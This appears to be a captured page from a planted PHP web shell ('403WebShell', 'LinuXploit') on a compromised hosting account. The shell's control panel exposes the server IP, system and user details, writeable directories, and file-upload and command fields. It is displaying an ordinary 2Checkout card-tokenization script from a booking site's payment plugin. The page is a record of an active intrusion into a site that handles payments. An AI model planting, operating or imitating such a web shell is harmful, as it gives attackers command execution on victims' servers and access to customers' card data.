Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.22.68.29
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/public/plugins/PaymentTwoCheckout/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/public/plugins/PaymentTwoCheckout/js/twocheckout.js
jQuery(function ($) {

    if (bookingCore_gateways_twocheckout.twocheckout_publishable_key === '') {
        console.log("TwoCheckout: Publishable not found");
        return false;
    }

    //TCO.loadPubKey(bookingCore_gateways_twocheckout.twocheckout_publishable_key);

    $("#bravo_twocheckout_card_name,#bravo_twocheckout_card_number,#bravo_twocheckout_card_expiry_month,#bravo_twocheckout_card_expiry_year,#bravo_twocheckout_card_cvc").change(function () {
        $(".card_twocheckout_msg").html("");
        var request_now = true;
        if($("#bravo_twocheckout_card_name").val() === ""){
            request_now = false;
        }
        if($("#bravo_twocheckout_card_number").val() === ""){
            request_now = false;
        }
        if($("#bravo_twocheckout_card_expiry_month").val() === ""){
            request_now = false;
        }
        if($("#bravo_twocheckout_card_expiry_year").val() === ""){
            request_now = false;
        }
        if($("#bravo_twocheckout_card_cvc").val() === ""){
            request_now = false;
        }
        if(request_now){
            tokenRequest();
        }
    });

    var tokenRequest = function () {
        var name = $('#bravo_twocheckout_card_name').val();
        var card_number = $('#bravo_twocheckout_card_number').val();
        var card_cvc = $('#bravo_twocheckout_card_cvc').val();
        var expiry_month = $('#bravo_twocheckout_card_expiry_month').val();
        var expiry_year = $('#bravo_twocheckout_card_expiry_year').val();
        var args = {
            sellerId: bookingCore_gateways_twocheckout.twocheckout_account_number,
            publishableKey: bookingCore_gateways_twocheckout.twocheckout_publishable_key,
            ccNo: card_number,
            cvv: card_cvc,
            expMonth: expiry_month,
            expYear: expiry_year
        };
        TCO.requestToken(successCallback, errorCallback, args);
    };

    var successCallback = function (data) {
        $("#bravo_twocheckout_token").val(data.response.token.token);
        $(".card_twocheckout_msg").html("");
        console.log("TwoCheckout: Create success!");
    };

    var errorCallback = function (data) {
        $(".card_twocheckout_msg").html(data.errorMsg);
    };
});

Youez - 2016 - github.com/yon3zu
LinuXploit